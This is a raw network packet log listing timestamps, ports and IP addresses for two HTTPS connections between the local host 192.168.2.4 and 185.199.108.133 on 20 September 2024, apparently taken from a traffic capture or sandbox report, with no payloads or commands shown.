Sep 20, 2024 12:14:48.170192003 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.170213938 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.170283079 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.170300007 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.175493956 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.201505899 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.201539040 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.201807976 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.201870918 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.201960087 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.202020884 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.202048063 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.202145100 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.202157974 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.202229977 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.202567101 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.202586889 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.202675104 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.202686071 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.202759981 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.203001022 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.203021049 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.203099966 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.203110933 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.203172922 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.203330994 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.203350067 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.203461885 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.203473091 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.203545094 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.208242893 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.208267927 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.208436966 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.208498001 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.208491087 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.208566904 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.208611965 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.208611965 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.208918095 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.208946943 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.209121943 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.209121943 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.209189892 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.222300053 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.249766111 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.249794960 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.249880075 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.249897957 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.249929905 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.249955893 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.249979973 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.249989033 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.250032902 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.250072956 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.250498056 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.250541925 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.250581026 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.250588894 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.250633001 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.250654936 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.250792027 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.250845909 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.250901937 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.250910044 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.250941038 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.250968933 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.251113892 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.251166105 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.251246929 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.251255035 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.251302004 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.251337051 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.253350973 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.257047892 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.257092953 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.257148027 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.257169008 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.257211924 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.257246017 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.257285118 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.257328033 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.257364988 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.257371902 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.257412910 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.257436991 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.257479906 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.257523060 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.257570982 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.257580042 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.257625103 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.257659912 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.288744926 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.288810015 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.289109945 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.289170980 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.289277077 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.289424896 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.289489031 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.289524078 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.289541006 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.289572954 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.289608002 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.289872885 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.289916992 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.289957047 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.289968014 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.290003061 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.290030956 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.290079117 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.290128946 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.290169001 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.290179968 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.290216923 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.290244102 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.290497065 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.290540934 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.290589094 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.290599108 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.290630102 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.290666103 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.295145035 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.295202971 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.295255899 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.295317888 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.295352936 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.295476913 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.295476913 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.295476913 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.295504093 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.295536041 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.295593977 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.295631886 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.296195030 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.296261072 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.296303034 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.296370029 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.296408892 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.296435118 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.336947918 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.337012053 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.337193012 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.337201118 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.337201118 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.337238073 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.337287903 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.337316990 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.337366104 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.337379932 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.337434053 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.337670088 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.337713957 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.337753057 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.337760925 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.337800980 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.337833881 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.337836981 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.337862015 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.337897062 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.337934017 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.338030100 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.338078022 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.338110924 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.338118076 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.338155031 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.338186026 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.343626022 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.343703032 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.343740940 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.343770981 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.343862057 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.343919039 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.343988895 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.343988895 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.343988895 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.344007015 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.344022036 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.344057083 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.345237017 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.345290899 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.345324993 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.345333099 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.345360994 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.345385075 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.387619972 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.387681007 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.387784004 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.387995005 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.388127089 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.388127089 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.388127089 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.388194084 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.388253927 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.388535976 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.388591051 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.388757944 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.388772964 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.388772964 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.388808012 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.388840914 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.388842106 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.388927937 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.388927937 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.388979912 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.389022112 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.389069080 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.389110088 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.389143944 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.389147043 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.389172077 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.389183998 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.389214993 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.389221907 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.389259100 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.389269114 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.389307022 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.389343023 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.389347076 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.389386892 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.389430046 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.389431000 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.389472008 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.389482975 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.389513016 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.389547110 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.389571905 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.389611959 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.389857054 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.389857054 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.389951944 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.390033007 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.426672935 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.426732063 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.426765919 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.426783085 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.426810026 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.426839113 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.426889896 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.426944017 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.426975012 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.426983118 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.427015066 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.427043915 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.427102089 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.427145958 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.427166939 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.427176952 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.427208900 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.427232027 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.427294016 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.427336931 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.427364111 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.427371025 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.427401066 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.427428007 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.427557945 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.427612066 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.427651882 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.427659988 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.427690029 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.427721977 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.430962086 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.431013107 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.431056023 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.431063890 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.431111097 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.431308031 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.431349039 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.431391001 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.431397915 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.431416035 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.431452990 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.432463884 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.432514906 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.432552099 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.432601929 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.432640076 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.432672977 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.474359989 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.474419117 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.474492073 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.474559069 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.474606037 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.474720955 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.474720955 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.474740028 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.474771976 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.474793911 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.474812984 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.474833965 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.474920988 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.474940062 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.475176096 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.475220919 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.475305080 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.475305080 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.475342035 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.475366116 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.475433111 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.475460052 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.475460052 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.475505114 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.475543022 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.475574970 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.475577116 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.475596905 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.475641012 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.475647926 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.475693941 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.475706100 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.475744963 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.475789070 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.476113081 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.476154089 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.476201057 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.476212978 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.476260900 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.476283073 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.476511955 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.476557970 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.476602077 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.476613998 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.476646900 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.476670027 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.513273001 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.513341904 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.513371944 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.513391018 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.513411999 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.513432980 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.513566971 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.513608932 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.513643980 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.513650894 CEST	443	58639	185.199.108.133	192.168.2.4
